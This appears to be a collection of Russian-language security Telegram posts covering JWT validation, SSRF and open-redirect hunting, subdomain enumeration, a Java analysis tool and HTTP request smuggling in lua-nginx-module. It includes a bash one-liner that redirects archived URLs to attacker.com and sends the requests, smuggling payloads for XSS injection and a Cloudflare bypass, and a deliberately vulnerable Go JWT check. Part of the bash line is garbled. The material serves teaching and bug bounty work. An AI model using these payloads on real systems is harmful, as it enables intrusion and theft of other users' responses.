Fsecurity | HH

CVE-2025-0927 * Affected Versions * Linux Kernel, up to 6.12.0 * Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic / Большой WriteUP + Source Exploit.c - Linux kernel hfsplus slab-out-of-bounds Write UPDATE: если совсем коротко то -локальные юзеры (без особых прав) могут устанавливать произвольные файловые системы через Udisks2 из-за правил для Polkit. Включая в себя ФС, чьи монтирования обычно требуют CAP_SYS_ADMIN в init user namespace. #linux

👉🏻

Я тебе не верю! JWT, JWS, JWE и Zero Trust С ростом сложности распределённых систем и микросервисов обеспечение безопасности обмена данными становится не просто задачей, а ключевым условием существования современных приложений. JWT, являясь уже стандартом передачи идентификационных и авторизационных данных, требует глубокого понимания тонкостей своей реализации в первую очередь безопасниками. Особенно это касается применения JWS, JWE и интеграции принципов архитектуры/философии Zero Trust.

JWT – JSON Web Token JWS – JSON Web Signature JWE – JSON Web Encryption

✏️ Подпись и целостность токенов JWS предназначен для защиты целостности и подтверждения подлинности JWT. Важно отметить, что подпись JWS не шифрует содержимое токена, а лишь предотвращает его модификацию. Основные алгоритмы, применяемые в JWS: 🔵 RS256 (RSA Signature с SHA-256) 🔵 ES256 (ECDSA Signature с SHA-256) На что стоит обратить внимание при проверке JWS: 🔵 Алгоритм подписи; 🔵 Валидность публичного ключа; 🔵 Корректная валидация всех полей claims (aud, iss, exp и др.). Частая ошибка, которую допускают разработчики - отсутствие проверки используемого алгоритма, что может привести к атакам типа "none algorithm" или подмене алгоритма подписи. Пример:

token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
 return publicKey, nil
})

🌐 Шифрование чувствительных данных В отличие от JWS, JWE предназначен для защиты конфиденциальности данных внутри JWT. Использование JWE позволяет гарантировать, что только владелец приватного ключа сможет прочитать данные токена. При реализации JWE важно обеспечить: 🟢 Надежное управление ключами; 🟢 Правильный выбор алгоритмов (например, RSA-OAEP и AES-GCM); 🟢 Отсутствие утечек ключей и материалов шифрования в логах или памяти. 👮‍♀️ Zero Trust и JWT Zero Trust требует, чтобы каждый запрос проверялся независимо, не доверяя никаким промежуточным слоям. JWT идеально вписывается в эту модель при некоторых условиях: 🟢 Независимой проверки JWT каждым микросервисом; 🟢 Минимального lifetime токенов; 🟢 Глубокой валидации всех claims и строгой политики доступа. А в ваших микросервисах всё так ?)

«Безопасность — не продукт, а процесс» Наверное, одно из моих любимых выражений, которую не понимают многие люди из ИБ

❔ Уязвимый фрагмент кода для анализа Как я и говорил, что немного меняю подход к обучающим постам, теперь в каждом из них будет идти код с ошибкой (Я могу и сам ошибиться в ошибке, не серчайте 🤪). Так вот, что тут не так и где беда?

func ValidateToken(tokenString string, publicKey *rsa.PublicKey) (*jwt.Token, error) {
 token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
  if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
   return nil, fmt.Errorf("Неожиданный алгоритм подписи: %v", token.Header["alg"])
  }
  return publicKey, nil
 })
 if err != nil {
  return nil, err
 }
 return token, nil
}

Телеграмм не позволяет делить открытие скрытого текста, поэтому ответ будет отправлен спустя 1 день. Также мне нужна обратная связь по ЯП. Я умею в Go, Python, немного в Java и JS. Вы не будте против, если при коде на других языках, Вас будет проверять ИИ? Подсказка: Обрати внимание на то, что код проверяет только тип алгоритма, но не конкретный алгоритм и не проверяет claims. Почему это может быть критично? ❕ Заключение и краткие рекомендации Для повышения безопасности JWT необходимо: 🟢 Всегда явно проверять указанный алгоритм подписи (например, RS256); 🟢 Обязательно проверять и валидировать все критически важные claims (iss, aud, exp); 🟢 Использовать JWE для защиты чувствительных данных внутри JWT; 🟢 Следовать Zero Trust модели с обязательной независимой валидацией JWT каждым сервисом. В заключение мне хочется сказать, что тема JWT стала основным, что я спрашиваю у людей на собеседовании, потому что это БАЗА, которую нужно знать. #appsec

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Стэнфордский курс без регистрации и СМС Я тут на одной из страниц по стажировке в ИБ заметил в подготовительных материалах курс одного из ведущих мировых университетов. Собственно, делюсь – ссылка Это курс Стэнфорда по веб-безопасности со всеми материалами, ссылками и презентациями. Я бы не сказал, что там вау как интересно, но и глубоко не всматривался. Для базового уровня точно сойдет. #BaseSecurity 🧠 Твой Пакет Знаний | 👨‍🏫 Менторство ИБ 📂 Другие каналы

▪️ Список open source LLM Security / WebApp Scanners ➡️ https://github.com/psiinon/open-source-llm-scanners #llm #scanner #webapp ✈️ Pentest HaT

🔗Ссылка: https://www.securitylab.ru/news/557513.php

Всем привет! Небольшая заметка про поиск SSRF и Open Redirect😁 в составе пайплайнов автоматизации waybackurls target.com | grep -E "/https?://|=https?://|=/.*" | while read url; do random=(opensslrand−base646∣tr−d ′ /+ ′ );murl=(echo $url | sed -E "s/(/|=)(https?://[^/&?]+)/\1http://attacker.com/$random/g;s/=/[^&]+/=http://attacker.com/$random/g") && echo "Requesting: $murl" && curl -so /dev/null --connect-timeout 5 "$murl"; done 🔴Этот bash скрипт использует утилиту waybackurls, чтобы получить список всех известных url для заданного домена target.com из архива Wayback Machine. 🔴 Фильтрует полученные url c помощью регулярки, оставляя только потенциально уязвимые, которые содержат: /https://example.com, ?url=http://example.com и ?url=/example 🔴 Для каждого url из списка генерирует случайную строку длиной 6 символов с помощью openssl rand, заворачивает в base64 и удаляет символы / и + на выходе получается что-то такое -a1b2c3 🔴 Модифицирует каждый url, заменяя: http://example.com на /http://attacker.com/random. http://example.com на =http://attacker.com/random. /example на =http://attacker.com/random 🔴 Выводит в консоль модифицированный url перед отправкой запроса либо сохраняет в файл echo "$(date '+%Y-%m-%d %H:%M:%S') Requesting: $murl" | tee -a log.txt 🔴 Отправляет запросы с помощью curl c ограничением время ответа 5 сек, чтобы логировать статус коды ответов можно добавить: http_code=$(curl -so /dev/null --connect-timeout 5 -w "%{http_code}" "$murl") echo "$(date '+%Y-%m-%d %H:%M:%S') Response [$http_code] from: $murl" >> responses.txt В качестве сервера атакующего, чтобы ловить отстуки можно использовать что угодно, начиная от Burp Collaborator до interactsh на своем домене.

🔗Ссылка; https://www.securitylab.ru/news/557503.php

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности. https://github.com/BlackFan/BFScan BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты. А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов. Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

    @PostMapping("createUser")
    public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
        return "response";
    }

В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.

POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
  "name": "name",
  "age": 1
}

Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает. Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.

🔗Ссылка: https://habr.com/ru/companies/bastion/articles/882522/

CVE-2025-23120: Domain-Level RCE in Veeam Backup & Replication https://labs.watchtowr.com/by-executive-order-we-are-banning-blacklists-domain-level-rce-in-veeam-backup-replication-cve-2025-23120/ Affected Product: Veeam Backup & Replication 12.3.0.310 and all earlier version 12 builds. Patched: March 19, 2025 #ad #pentest #redteam #rce

🔗Ссылка: https://www.securitylab.ru/news/557502.php

🔎 Перечисление поддоменов: как расширить поверхность атаки с помощью активных и пассивных методов Мы решили запустить экспериментальный формат, в котором будем делиться полезными советами от опытных багхантеров — не ежедневно, но регулярно. Начинаем с самой базы — можно унести ее в сохраненки и возвращаться к ней по необходимости. Не забывайте ставить реакции под постом, чтобы мы понимали, был ли материал полезен. А если у вас есть предложения о контенте, не стесняйтесь рассказать об этом в комментариях. Enjoy! Что делает убитый горем багхантер, который не может найти хоть какую-нибудь зацепку? Правильно — проводит разведку по новой: пассивный и активный поиск поддоменов, брут путей и файлов, использование дорков, исследование используемых в приложении технологий и т. д. Каждая тема здесь достойна отдельного поста, поэтому начнем по порядку с простого — сбора поддоменов. ⭐️ Описанное ниже особенно полезно, когда в скоупе багбаунти-программы есть DNS-записи wildcard (*.domain.tld). Итак, основная цель — получить как можно больше активов из багбаунти-программы, чтобы сформировать представление об общей поверхности атаки и о работе инфраструктуры. ➡️ Пассивный сбор поддоменов: вы не взаимодействуете с целевым узлом и получаете информацию из открытых источников (DNS-записи, логи сертификатов SSL и TLS или веб-архивы). Примеры используемых инструментов: 🟢 Censys, Shodan, SecurityTrails, DNSDumpster и другие онлайн-сервисы. 🟢 Инструменты вроде subfinder, amass или waybackurls, которые сами опросят множество публичных баз данных и выведут результат в удобном для вас формате (останется только добавить API-ключи):

$ subfinder -d example.com -oJ domains-example.com.json
или
$ amass enum -d example.com -o domains-amass.example.com.txt -timeout 12 -v

🟢 Google-дорки — это база:

site:*.example.com -site:www.example.com

➡️ Активный сбор поддоменов включает поиск любых поддоменов, которые не проиндексированы публично, но активно используются. Разберемся с ключевыми методами: 🟢 Брутфорс DNS — перебор поддоменов по словарю, который должен быть составлен отдельно исходя из полученных в ходе разведки данных. Про общедоступные словари тоже не стоит забывать (SecLists, fuzzdb, Assetnote Wordlists). Важно не останавливаться на доменах 3-го уровня, а искать дальше. В этом поможет инструмент mksub, с помощью которого можно сгенерировать дополнительные вариации поддоменов:

$ gobuster dns -d example.com -w wordlist.txt
$ mksub -d example.com -l 2 -w dns-wordlist.txt

🟢 Фаззинг виртуальных хостов (vhosts), которые имеют тот же IP-адрес, что и другой домен на веб-сервере. Полезные инструменты для работы — ffuf и wfuzz.

$ ffuf -c -r -u 'https://www.example.com/' -H 'Host: FUZZ.example.com' -w dns-wordlist.txt

🟢 Reverse DNS (rDNS): преобразует IP-адрес в связанное с ним доменное имя. Этот способ особенно полезен при исследовании диапазона целевых IP-адресов. На помощь придут инструменты Linux (dig, host) или общеизвестный dnsx.

$ dig -x 8.8.4.4 +short
$ cat ips.txt | dnsx -ptr -resp-only

➡️ Веб-краулинг с помощью Burp Suite или других инструментов: просто укажите кастомный скоуп, ходите по ссылкам и отслеживайте новые поддомены.

.*\.example\.com$

⭐️ Последняя задача — определить активные веб-узлы и избавиться от фолзов. Самый простой способ — использовать httpx или httprobe. Собираем поддомены в отдельный файл и выполняем:

$ cat domains.txt | httpx -o domains-webserver.txt 
или
$ cat domains.txt | httprobe >> domains-webserver.txt

💡 Хотите еще сильнее упростить себе жизнь? Используйте anew для добавления уникальных строк в файл из stdin. Инструмент выводит новые строки в stdout, что делает его немного похожим на команду tee -a. P. S. При подготовке вдохновлялись статьей от багбаунти-площадки YesWeHack.

🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос. Пример Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost

Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке. Сценарии атак Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие). Пример с Kong Gateway Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может: 1. Внедрять вредоносные ответы (например, XSS-атаки). 2. Обходить защиту фронт-прокси (например, обход Cloudflare). 3. Перехватывать ответы других пользователей. 1️⃣ Внедрение XSS через смуглинг Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:

Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе. 2️⃣ Обход защиты фронт-прокси (Cloudflare) Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту. Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com

Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту. 3️⃣ Кража ответов других пользователей Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей. Пример атаки 1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом. 2. Сервер ошибочно интерпретирует тело как отдельный запрос. 3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы. Подробности Более подробное описание читайте в блоге по ссылке. #web #hrs #xss

Когда занимаешься баг баунти

🔗Ссылка: https://www.securitylab.ru/news/557444.php

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈